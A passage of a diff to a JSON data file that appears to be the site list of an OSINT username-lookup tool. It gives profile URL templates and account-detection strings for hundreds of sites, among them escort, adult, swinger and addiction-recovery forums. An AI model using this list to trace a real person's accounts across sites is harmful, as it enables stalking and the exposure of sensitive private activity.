    ", + "match_string": "profile email" + }, + { + "name": "stroy-s-nami.ucoz.com", + "url": "http://stroy-s-nami.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "stroyneemvmeste.ucoz.ru", + "url": "http://stroyneemvmeste.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "student-telecom.ru", + "url": "http://student-telecom.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "studentur.com.ua", + "url": "http://studentur.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Studfile", + "url": "https://studfile.net/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Studwork", + "url": "https://studwork.org/info/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "herdun", + "match_string": "\u0418\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "studygolang", + "url": "https://studygolang.com/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Stunited", + "url": "http://stunited.org/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "subaruforester.org", + "url": "https://subaruforester.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "subaruoutback.org", + "url": "https://subaruoutback.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Subeta", + "url": "https://subeta.net/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Invalid user" + }, + { + "name": "Subforums", + "url": "https://subforums.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "subforums.net", + "url": "https://subforums.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Subscribestar", + "url": "https://subscribestar.adult/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "match_code": 200, + "match_string": "CREATOR STATS" + }, + { + "name": "Substack", + "url": "https://substack.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Found. Redirecting to", + "match_string": "profile\\" + }, + { + "name": "Substack", + "url": "https://{}.substack.com/", + "category": "news", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Suedtirolnews", + "url": "https://suedtirolnews.it/user/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-body" + }, + { + "name": "sufficit.ucoz.ru", + "url": "http://sufficit.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sugoidesu", + "url": "https://sugoidesu.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sugoidesu", + "url": "https://sugoidesu.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Suicidegirls", + "url": "https://www.suicidegirls.com/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sukebei.nyaa.si", + "url": "https://sukebei.nyaa.si/user/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 Not Found", + "match_code": 200, + "match_string": "'s torrents" + }, + { + "name": "Suomi24", + "url": "https://www.suomi24.fi/profiili/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "super-warez-por.at.ua", + "url": "http://super-warez-por.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Supernaturalwiki", + "url": "https://supernaturalwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Superuser", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search." + }, + { + "name": "Support_mozilla", + "url": "https://support.mozilla.org/en-US/user/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found | Mozilla" + }, + { + "name": "survivalistboards.com", + "url": "https://survivalistboards.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Survivefrance", + "url": "https://survivefrance.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Suunto_Movescount_CLOSEDEAD", + "url": "http://www.movescount.com/ru/members/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "error=4&" + }, + { + "name": "Suzuki-club", + "url": "https://suzuki-club.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Suzuri.jp", + "url": "https://suzuri.jp/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>404 | SUZURI", + "match_string": "\u221e SUZURI\uff08\u30b9\u30ba\u30ea\uff09" + }, + { + "name": "svadba-orel.com", + "url": "http://svadba-orel.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "svidbook", + "url": "https://www.svidbook.ru/user/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Svidbook", + "url": "https://www.svidbook.ru/user/{}/", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Svidbook", + "url": "https://svidbook.ru/user/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user_profile" + }, + { + "name": "svoimirykami.ucoz.ru", + "url": "http://svoimirykami.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "svtperformance.com", + "url": "https://svtperformance.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Swame", + "url": "https://swame.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile" + }, + { + "name": "Swapd", + "url": "https://swapd.co/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Swapfinder", + "url": "https://swapfinder.com/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Swapfinder.com", + "match_string": "Profile on Swapfinder.com" + }, + { + "name": "swedroid.se", + "url": "http://swedroid.se/forum/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sweet Passion Escort", + "url": "https://www.sweet-passion-escort.de/en/models/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Could not find what you were looking for?", + "match_string": "book" + }, + { + "name": "Sweethome3d", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": " Error" + }, + { + "name": "SwimmingForum", + "url": "http://forumswimming.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Syberpussy", + "url": "https://syberpussy.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "syberpussy.com", + "url": "https://syberpussy.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Syktforum", + "url": "http://syktforum.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "SyktyvkarOnline", + "url": "http://syktyvkar-online.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "symbian9.clan.su", + "url": "http://symbian9.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sysadmins", + "url": "https://sysadmins.ru/member{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Could not obtain user posts information" + }, + { + "name": "Sysprogs", + "url": "https://sysprogs.com/w/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sythe", + "url": "https://www.sythe.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sythe", + "url": "https://www.sythe.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Szerokikadr.pl", + "url": "https://www.szerokikadr.pl/profil,{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie masz jeszcze konta?", + "match_string": "Profil u\u017cytkownika" + }, + { + "name": "Szmer.info", + "url": "https://szmer.info/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Code: Couldn't find that username or email.", + "match_string": "Joined" + }, + { + "name": "T-MobileSupport", + "url": "https://support.t-mobile.com/people/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "t00ls", + "url": "https://www.t00ls.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username={}&inajax=1&ajaxtarget=returnmessage4", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "tabletoptournament", + "url": "https://www.tabletoptournaments.net/eu/player/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "No player with the nickname", + "match_code": 200, + "match_string": "- Player Profile | T\u00b3 - TableTop Tournaments" + }, + { + "name": "Tabun", + "url": "https://tabun.everypony.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tachograph.ucoz.ru", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tagged", + "url": "https://secure.tagged.com/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "Tagged - The social network for meeting new people", + "match_code": 200, + "match_string": "s Profile" + }, + { + "name": "Tagged", + "url": "https://www.tagged.com/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Tagged makes it easy", + "match_string": "https://tagged.com/{username}" + }, + { + "name": "takr-kiev.ucoz.com", + "url": "http://takr-kiev.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "talimger.org", + "url": "http://talimger.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talk", + "url": "https://talk.commonmark.org/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.jekyllrb.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.manvfat.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.sleepapnea.org/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "talk.macpowerusers.com", + "url": "https://talk.macpowerusers.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TalkDrugabuse", + "url": "https://talk.drugabuse.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Talkingsober", + "url": "https://talkingsober.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talks.by", + "url": "https://talks.by/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talkstats", + "url": "https://www.talkstats.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Tamboff", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435" + }, + { + "name": "TamTam", + "url": "https://tamtam.chat/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Pv3WuoqzAb05NxqHCgZ29Z2jmQ", + "match_string": "data-tsid=\"avatar\"" + }, + { + "name": "Tanks", + "url": "https://tanks.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tanuki.pl", + "url": "https://tanuki.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie ma takiego u\u017cytkownika", + "match_string": "Do\u0142\u0105czy\u0142" + }, + { + "name": "TAP'D", + "url": "https://tapd.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist", + "match_string": "\"_id\":" + }, + { + "name": "TAPiTAG", + "url": "https://account.tapitag.co/tapitag/api/v1/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "The rf number is not valid", + "match_code": 200, + "match_string": "User details are Showing" + }, + { + "name": "Taplink", + "url": "https://taplink.cc/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tappy", + "url": "https://api.tappy.tech/api/profile/username/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Profile of username Not Found", + "match_code": 200, + "match_string": "user_id" + }, + { + "name": "Taringa", + "url": "https://www.taringa.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "problema", + "match_string": "User" + }, + { + "name": "Taringa", + "url": "https://taringa.net/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-country" + }, + { + "name": "Taringa Archived Profile", + "url": "https://archive.org/wayback/available?url=https://www.taringa.net/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"archived_snapshots\": {}", + "match_code": 200, + "match_string": "\"archived_snapshots\": {\"closest\"" + }, + { + "name": "tarjaturunen.ucoz.ru", + "url": "http://tarjaturunen.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Taskrabbit", + "url": "https://www.taskrabbit.com/profile/{}/about", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "TaskRabbit: Same Day Handyman, Moving & Delivery Services", + "match_string": "\u2019s Profile" + }, + { + "name": "Tasty Slips (underwear sales)", + "url": "https://tastyslips.com/en/vendors/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The website was not found. Feel free to check out tastyslips.com", + "match_string": ">About me" + }, + { + "name": "tatyana-art.ucoz.com", + "url": "http://tatyana-art.ucoz.com/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tavr-obrazovanie.ru", + "url": "http://tavr-obrazovanie.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "taxi-belgorod.ucoz.ru", + "url": "http://taxi-belgorod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tcrf", + "url": "https://tcrf.net/The_Cutting_Room_Floor/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Tddft", + "url": "https://tddft.org/programs/octopus/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tdo888.at.ua", + "url": "http://tdo888.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teakdoor", + "url": "https://teakdoor.com/members/{}.html", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "team-pros.3dn.ru", + "url": "http://team-pros.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teampedia", + "url": "https://teampedia.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Teamtreehouse", + "url": "https://teamtreehouse.com/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops, Something went missing", + "match_code": 200, + "match_string": "Member Since" + }, + { + "name": "teamtreehouse.com", + "url": "https://teamtreehouse.com/profiles/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Bummer! You must be logged in to access this page.", + "match_string": "Member Since" + }, + { + "name": "techcrunch", + "url": "https://techcrunch.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Techdirt", + "url": "https://www.techdirt.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Techdirt", + "url": "https://www.techdirt.com/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": " | Techdirt" + }, + { + "name": "Techotopia", + "url": "https://techotopia.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "TechPowerUp", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Techrepublic", + "url": "https://www.techrepublic.com/members/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "techspot.com", + "url": "http://www.techspot.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teddygirls", + "url": "https://teddysgirls.net/models/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you were looking for doesn't exist", + "match_code": 200, + "match_string": ";s exclusive page to subscribe to her" + }, + { + "name": "TEENUS", + "url": "http://www.teenus.info/kasutaja/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Viimati lisatud", + "match_string": "user-profile" + }, + { + "name": "Teespring", + "url": "https://commerce.teespring.com/v1/stores?slug={}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "{\"errors\":{\"store\":[\"not found\"]}}", + "match_code": 200, + "match_string": "sellerToken" + }, + { + "name": "teflpedia.com", + "url": "https://teflpedia.com/User:{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tek-tips", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teknik", + "url": "https://user.teknik.io/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user does not exist", + "match_string": "Public Key" + }, + { + "name": "Telaviv-Escort (Telaviv)", + "url": "https://telaviv-escort.com/model/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "Ethnicity:" + }, + { + "name": "Telegram", + "url": "https://t.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Telepropusk", + "url": "https://telepropusk.ru/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "telescope.ac", + "url": "https://telescope.ac/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">Not found", + "match_string": "og:site_name" + }, + { + "name": "Teletype", + "url": "https://teletype.in/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Television_linternaute", + "url": "https://television.linternaute.com/profile/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tellonym", + "url": "https://api.tellonym.me/profiles/name/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":\"NOT_FOUND\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Tellonym.me", + "url": "https://tellonym.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TemplateMonster", + "url": "https://www.templatemonster.com/authors/{}/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "ErrorPage__title", + "match_string": "profile" + }, + { + "name": "Tenchat", + "url": "https://tenchat.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tenor.com", + "url": "https://tenor.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Error", + "match_string": "s GIFs on Tenor" + }, + { + "name": "Teplak", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "teplohorosho.ru", + "url": "http://teplohorosho.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terminator", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terminatorium", + "url": "https://terminatorium.borda.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Termoshop", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "terralight.ucoz.ru", + "url": "http://terralight.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terraria Forums", + "url": "https://forums.terraria.org/index.php?search/42798315/&c[users]={}&o=relevance", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The following members could not be found" + }, + { + "name": "Test_pypi", + "url": "https://test.pypi.org/user/{}/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "page\":0,\"totalMatches\":0" + }, + { + "name": "testwiki.wiki", + "url": "https://testwiki.wiki/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tetongravity", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Please wait" + }, + { + "name": "Tetr.io", + "url": "https://ch.tetr.io/api/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No such user!", + "match_string": "success\":true" + }, + { + "name": "TETR.IO", + "url": "https://ch.tetr.io/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "No such user!" + }, + { + "name": "Texasguntalk", + "url": "https://www.texasguntalk.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Texasguntalk", + "url": "https://www.texasguntalk.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Tf2Items", + "url": "http://www.tf2items.com/id/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "TF2 Backpack Examiner", + "match_string": "TF2 Backpack -" + }, + { + "name": "Tfl.net.pl", + "url": "https://tfl.net.pl/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for isn't here.", + "match_string": "@tfl.net.pl" + }, + { + "name": "tfw2005.com", + "url": "http://www.tfw2005.com/boards//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tfwiki", + "url": "https://tfwiki.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tg.rip", + "url": "https://tg.rip/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "btn_label", + "match_string": "<title>\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + }, + { + "name": "tgi.3dn.ru", + "url": "http://tgi.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thaicat", + "url": "http://www.thaicat.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "thaicat.ru", + "url": "http://thaicat.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thatpervert", + "url": "https://thatpervert.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "Rating: " + }, + { + "name": "The AnswerBank", + "url": "https://www.theanswerbank.co.uk/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Welcome to the AnswerBank" + }, + { + "name": "The Erotic Review", + "url": "https://www.theeroticreview.com/reviews/newreviewsList.asp?Name={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<p>No records were found.</p>", + "match_string": "matches.</span>" + }, + { + "name": "the-mainboard.com", + "url": "http://the-mainboard.com/index.php/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theaquariumwiki", + "url": "https://theaquariumwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "theatre.my1.ru", + "url": "http://theatre.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebeautybrains", + "url": "https://thebeautybrains.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebigboss", + "url": "http://thebigboss.org/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebuddyforum", + "url": "https://www.thebuddyforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "theburningprocess.com", + "url": "http://www.theburningprocess.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thechessforum", + "url": "https://thechessforum.com/profile/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "Thechive", + "url": "https://thechive.com/author/{}", + "category": 